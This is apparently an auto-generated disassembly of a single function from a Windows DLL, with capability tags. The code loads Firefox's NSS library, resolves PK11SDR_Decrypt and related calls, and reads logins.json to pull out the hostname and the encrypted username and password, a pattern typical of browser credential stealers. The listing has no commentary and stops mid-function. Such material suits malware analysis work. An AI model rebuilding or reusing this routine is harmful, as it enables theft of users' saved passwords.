Function at 0x18009b810
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4a8]
sub rsp, 0x5a8
mov rax, qword [0x180124010]
xor rax, rsp
mov qword [rbp + 0x478], rax
mov qword [rsp + 0x58], rcx
xor esi, esi
xor r13d, r13d
mov dword [rbp + 0x28], esi
mov r12d, 0xf
mov qword [rbp + 0x300], r13
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x308], r12
mov byte [rbp + 0x2f0], sil
mov r14, r9
mov r15, r8
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x60], rdx
call fcn.1800bd4e0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009b891
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009b8e1
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009b8dc
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d262
mov rcx, r8
call fcn.1800caa30
xor ecx, ecx
mov qword [rbx + 0x18], r12
mov qword [rbx + 0x10], rcx
mov byte [rbx], cl
test rdi, rdi
jne 0x18009b9f0
mov rbx, qword [rsp + 0x58]
lea rdx, [0x1801080b0]
xor r8d, r8d
mov byte [rbx], cl
mov rcx, rbx
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], r12
call fcn.1800bdba0
mov rdi, qword [rsp + 0x60]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18009b956
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18009b951
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d268
mov rcx, r8
call fcn.1800caa30
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r12
mov byte [rdi], sil
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009b99b
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009b996
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d268
mov rcx, r8
call fcn.1800caa30
mov qword [r15 + 0x10], rsi
mov byte [r15], sil
mov qword [r15 + 0x18], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009b9e0
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009b9db
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d268
mov rcx, r8
call fcn.1800caa30
mov qword [r14 + 0x10], rsi
mov byte [r14], sil
mov qword [r14 + 0x18], r12
jmp 0x18009d236
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x1801299c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x1801299d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x180129a00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x180129a28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x180129aa8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x180129a08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
mov qword [0x1801299c8], rax
jb 0x18009ba9e
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edi, edi
cmp eax, 0xffffffff
je 0x18009bb4c
test al, 0x10
je 0x18009bb4c
mov r8, qword [r15 + 0x10]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
mov byte [rsp + 0x38], sil
lea rdx, [r8 + 0xc]
cmp rdx, r12
jbe 0x18009bae6
lea rcx, [rsp + 0x38]
call fcn.1800c3fa0
mov r8, qword [r15 + 0x10]
mov qword [rsp + 0x48], rdi
cmp qword [r15 + 0x18], 0x10
mov rdx, r15
jb 0x18009baf3
mov rdx, qword [r15]
lea rcx, [rsp + 0x38]
call fcn.1800bd330
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x38]
call fcn.1800bd330
cmp qword [rsp + 0x50], 0x10
lea rcx, [rsp + 0x38]
lea rdx, [0x180112ca0]
cmovae rcx, qword [rsp + 0x38]
call fcn.1800d6948
test rax, rax
je 0x18009bb47
mov rcx, rax
call fcn.1800d69d8
mov bl, 1
mov esi, 1
jmp 0x18009bb4e
mov esi, 1
xor bl, bl
test sil, 1
je 0x18009bba0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x18009bb91
mov rcx, qword [rsp + 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009bb8c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d26e
call fcn.1800caa30
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
mov byte [rsp + 0x38], r13b
movaps xmmword [rsp + 0x590], xmm6
movaps xmmword [rsp + 0x580], xmm7
test bl, bl
je 0x18009d1f2
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
jb 0x18009bbc5
mov rcx, qword [r15]
call qword [0x1801299c0]
mov rdx, r15
lea rcx, [rbp + 0x2d0]
call fcn.1800bd4e0
mov rcx, rax
call fcn.1800909d0
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x328], r12
mov byte [rbp + 0x310], r13b
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x18009bc00
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.1800bdba0
cmp qword [rbp + 0x320], r13
jbe 0x18009d1b5
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x450]
movups xmmword [rbp + 0x450], xmm0
mov qword [rbp + 0x470], rax
movups xmmword [rbp + 0x460], xmm0
call fcn.1800bc680
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x428]
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x448], rax
movups xmmword [rbp + 0x438], xmm0
call fcn.1800bc680
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x400]
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x420], rax
movups xmmword [rbp + 0x410], xmm0
call fcn.1800bc680
mov rdx, qword [rbp + 0x328]
lea rbx, [rbp + 0x310]
mov rax, qword [rbp + 0x310]
xorps xmm0, xmm0
cmp rdx, 0x10
mov qword [rbp + 0x348], r12
movups xmmword [rbp + 0x390], xmm0
cmovae rbx, rax
mov qword [rbp + 0x388], r12
xor ecx, ecx
mov qword [rbp + 0x368], r12
mov qword [rbp + 0x340], rcx
mov r15, r12
mov byte [rbp + 0x330], cl
mov rsi, r12
mov qword [rbp + 0x380], rcx
mov rdi, r12
mov byte [rbp + 0x370], cl
mov qword [rbp + 0x360], rcx
mov byte [rbp + 0x350], cl
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
nop dword [rax]
nop dword [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x320]
lea rcx, [rbp + 0x310]
cmovae rcx, rax
lea r9, [rbp + 0x450]
add rdx, rcx
lea r8, [rbp + 0x390]
mov rcx, rbx
call fcn.1800c3410
test al, al
je 0x18009cf32
mov rcx, qword [rbp + 0x3a8]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x3a0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x18009bdcc
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009bddb
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
jmp 0x18009bde3
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov rdx, qword [rbp + 0x30]
xor r15d, r15d
mov r8, qword [rbp + 0x38]
mov eax, 0xf
mov qword [rbp - 8], r15
mov qword [rbp], rax
mov byte [rbp - 0x18], r15b
cmp rdx, r8
je 0x18009be14
sub r8, rdx
lea rcx, [rbp - 0x18]
call fcn.1800bdba0
mov rax, qword [rbp]
cmp rax, 0x10
lea rcx, [rbp - 0x18]
cmovae rcx, qword [rbp - 0x18]
call fcn.180091360
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r15b
jne 0x18009be30
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.1800bdba0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x18009be83
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009be7e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d274
call fcn.1800caa30
cmp qword [rbp + 0x328], 0x10
lea rdx, [rbp + 0x310]
lea r9, [rbp + 0x428]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x310]
lea r8, [rbp + 0x390]
add rdx, qword [rbp + 0x320]
mov rcx, rbx
call fcn.1800c3410
mov rcx, qword [rbp + 0x3a8]
mov rax, rsi
mov r8, qword [rbp + 0x3a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x18009bef2
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009bf01
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
jmp 0x18009bf09
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x48]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r15b
cmp rdx, r8
je 0x18009bf3e
sub r8, rdx
lea rcx, [rbp + 0x1f0]
call fcn.1800bdba0
lea rcx, [rbp + 0x1f0]
call fcn.18009b640
mov rcx, rax
call fcn.180091360
mov r8, rdi
inc r8
cmp byte [rax + r8], r15b
jne 0x18009bf55
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.1800bdba0
cmp qword [rbp + 0x328], 0x10
lea rdx, [rbp + 0x310]
lea r9, [rbp + 0x400]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x310]
lea r8, [rbp + 0x390]
add rdx, qword [rbp + 0x320]
mov rcx, rbx
call fcn.1800c3410
mov rcx, qword [rbp + 0x3a8]
mov rax, rsi
mov r8, qword [rbp + 0x3a0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmp rdx, 1
jbe 0x18009bfdc
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009bfeb
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
jmp 0x18009bff3
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
mov rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x58]
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], r15b
cmp rdx, r8
je 0x18009c028
sub r8, rdx
lea rcx, [rbp + 0x210]
call fcn.1800bdba0
lea rcx, [rbp + 0x210]
call fcn.18009b640
mov rcx, rax
call fcn.180091360
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c040
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.1800bdba0
mov r8d, 8
mov qword [rbp + 0x120], r15
cmp qword [rbp + 0x340], r8
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x128], 0xf
cmovb r8, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0x10
mov byte [rbp + 0x110], r15b
cmovae rdx, qword [rbp + 0x330]
call fcn.1800bdba0
mov rdx, qword [rbp + 0x128]
lea rax, [rbp + 0x110]
mov rcx, qword [rbp + 0x110]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x120], 8
jne 0x18009c0e4
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x18009c0e4
xor dil, dil
jmp 0x18009c0e7
mov dil, 1
cmp rdx, 0x10
jb 0x18009c11a
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c115
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d298
call fcn.1800caa30
test dil, dil
je 0x18009cea0
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x18009c133
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009c7f1
cmp byte [rcx], 0x30
jne 0x18009c7f1
mov rsi, qword [rbp + 0x340]
mov rcx, rax
mov rdi, qword [rbp + 0x380]
test rsi, rsi
je 0x18009c802
test rdi, rdi
je 0x18009c802
cmp qword [rbp + 0x360], r15
je 0x18009c802
lea rdx, [r13 + 1]
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r15b
cmp rdx, 0x10
jb 0x18009c19e
lea rcx, [rbp - 0x78]
call fcn.1800c3fa0
mov qword [rbp - 0x68], r15
cmp r12, 0x10
lea rdx, [rbp + 0x2f0]
mov r8, r13
lea rcx, [rbp - 0x78]
cmovae rdx, qword [rbp + 0x2f0]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112cf8]
lea rcx, [rbp - 0x78]
call fcn.1800bd330
cmp qword [rbp + 0x348], 0x10
lea rdx, [rbp + 0x330]
mov r8, rsi
lea rcx, [rbp - 0x78]
cmovae rdx, qword [rbp + 0x330]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112cf4]
lea rcx, [rbp + 0x130]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x230], xmm6
movups xmmword [rbp + 0x240], xmm7
cmp rdx, 0x10
jb 0x18009c298
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c293
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d27a
call fcn.1800caa30
mov rdx, qword [rbp + 0x148]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009c2e7
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c2e2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d27a
call fcn.1800caa30
mov rdx, qword [rbp - 0x60]
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], r15b
cmp rdx, 0x10
jb 0x18009c33b
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c336
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d27a
call fcn.1800caa30
mov rsi, qword [rbp + 0x240]
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], r15b
lea rdx, [rsi + 1]
cmp rdx, 0x10
jb 0x18009c369
lea rcx, [rbp - 0x58]
call fcn.1800c3fa0
mov qword [rbp - 0x48], r15
cmp qword [rbp + 0x248], 0x10
lea rdx, [rbp + 0x2f0]
mov r8, rsi
lea rcx, [rbp - 0x58]
cmovae rdx, qword [rbp + 0x230]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112cf8]
lea rcx, [rbp - 0x58]
call fcn.1800bd330
cmp qword [rbp + 0x388], 0x10
lea rdx, [rbp + 0x370]
mov r8, rdi
lea rcx, [rbp - 0x58]
cmovae rdx, qword [rbp + 0x370]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112cf4]
lea rcx, [rbp + 0x150]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x250], xmm6
movups xmmword [rbp + 0x260], xmm7
cmp rdx, 0x10
jb 0x18009c467
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c462
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d280
call fcn.1800caa30
mov rdx, qword [rbp + 0x168]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009c4b6
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c4b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d280
call fcn.1800caa30
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], r15b
cmp rdx, 0x10
jb 0x18009c50a
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c505
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d280
call fcn.1800caa30
mov rdi, qword [rbp + 0x260]
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], r15b
lea rdx, [rdi + 1]
cmp rdx, 0x10
jb 0x18009c538
lea rcx, [rbp - 0x38]
call fcn.1800c3fa0
mov qword [rbp - 0x28], r15
cmp qword [rbp + 0x268], 0x10
lea rdx, [rbp + 0x2f0]
mov r8, rdi
lea rcx, [rbp - 0x38]
cmovae rdx, qword [rbp + 0x250]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112cf8]
lea rcx, [rbp - 0x38]
call fcn.1800bd330
cmp qword [rbp + 0x368], 0x10
lea rdx, [rbp + 0x350]
mov r8, qword [rbp + 0x360]
lea rcx, [rbp - 0x38]
cmovae rdx, qword [rbp + 0x350]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112cf4]
lea rcx, [rbp + 0x170]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x270], xmm6
movups xmmword [rbp + 0x280], xmm7
cmp rdx, 0x10
jb 0x18009c63a
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c635
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d286
call fcn.1800caa30
mov rdx, qword [rbp + 0x188]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009c689
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c684
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d286
call fcn.1800caa30
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], r15b
cmp rdx, 0x10
jb 0x18009c6dd
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c6d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d286
call fcn.1800caa30
mov rdi, qword [rbp + 0x280]
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], r15b
lea rdx, [rdi + 1]
cmp rdx, 0x10
jb 0x18009c70b
lea rcx, [rbp + 8]
call fcn.1800c3fa0
mov qword [rbp + 0x18], r15
cmp qword [rbp + 0x288], 0x10
lea rdx, [rbp + 0x2f0]
mov r8, rdi
lea rcx, [rbp + 8]
cmovae rdx, qword [rbp + 0x270]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x1801090cc]
lea rcx, [rbp + 8]
call fcn.1800bd330
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x18009c785
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c780
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d28c
call fcn.1800caa30
movups xmm0, xmmword [rbp + 8]
xor r8d, r8d
lea rdx, [0x1801080b0]
movups xmm1, xmmword [rbp + 0x18]
lea rcx, [rbp + 0x330]
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm1
call fcn.1800bdba0
xor r8d, r8d
lea rdx, [0x1801080b0]
lea rcx, [rbp + 0x370]
call fcn.1800bdba0
xor r8d, r8d
lea rdx, [0x1801080b0]
lea rcx, [rbp + 0x350]
call fcn.1800bdba0
mov rcx, qword [r14 + 0x18]
mov r12, qword [rbp + 0x308]
mov r13, qword [rbp + 0x300]
jmp 0x18009c7f4
mov rcx, rax
mov rdi, qword [rbp + 0x380]
mov rsi, qword [rbp + 0x340]
mov rax, r14
cmp rcx, 0x10
jb 0x18009c80e
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009ce90
cmp byte [rax], 0x31
jne 0x18009ce90
test rsi, rsi
je 0x18009ce90
test rdi, rdi
je 0x18009ce90
cmp qword [rbp + 0x360], r15
je 0x18009ce90
lea rdx, [r13 + 3]
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r15b
cmp rdx, 0x10
jb 0x18009c86c
lea rcx, [rsp + 0x68]
call fcn.1800c3fa0
mov qword [rsp + 0x78], r15
cmp r12, 0x10
lea rdx, [rbp + 0x2f0]
mov r8, r13
lea rcx, [rsp + 0x68]
cmovae rdx, qword [rbp + 0x2f0]
call fcn.1800bd330
mov r8d, 3
lea rdx, [0x180112d04]
lea rcx, [rsp + 0x68]
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112d00]
lea rcx, [rsp + 0x68]
call fcn.1800bd330
mov r8d, 0xa
lea rdx, str.TorBrowser
lea rcx, [rbp + 0xf0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112d00]
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
cmp qword [rbp + 0x348], 0x10
lea rdx, [rbp + 0x330]
mov r8, rsi
lea rcx, [rbp + 0xb0]
cmovae rdx, qword [rbp + 0x330]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov r8d, 1
lea rdx, [0x180112d00]
lea rcx, [rbp + 0x90]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
cmp qword [rbp + 0x388], 0x10
lea rdx, [rbp + 0x370]
mov r8, rdi
lea rcx, [rbp + 0x70]
cmovae rdx, qword [rbp + 0x370]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov r8d, 1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rdx, [0x180112d00]
lea rcx, [rbp + 0x1d0]
call fcn.1800bd330
cmp qword [rbp + 0x368], 0x10
lea rdx, [rbp + 0x350]
mov r8, qword [rbp + 0x360]
lea rcx, [rbp + 0x1b0]
cmovae rdx, qword [rbp + 0x350]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov r8d, 3
lea rdx, [0x180112cfc]
lea rcx, [rbp + 0x190]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bd330
mov rdx, qword [rbp + 0x308]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x290], xmm6
movups xmmword [rbp + 0x2a0], xmm7
cmp rdx, 0x10
jb 0x18009cb2c
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cb27
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0x1a8]
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm7
cmp rdx, 0x10
jb 0x18009cb7b
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cb76
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0x1c8]
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], r15b
cmp rdx, 0x10
jb 0x18009cbd5
mov rcx, qword [rbp + 0x1b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cbd0
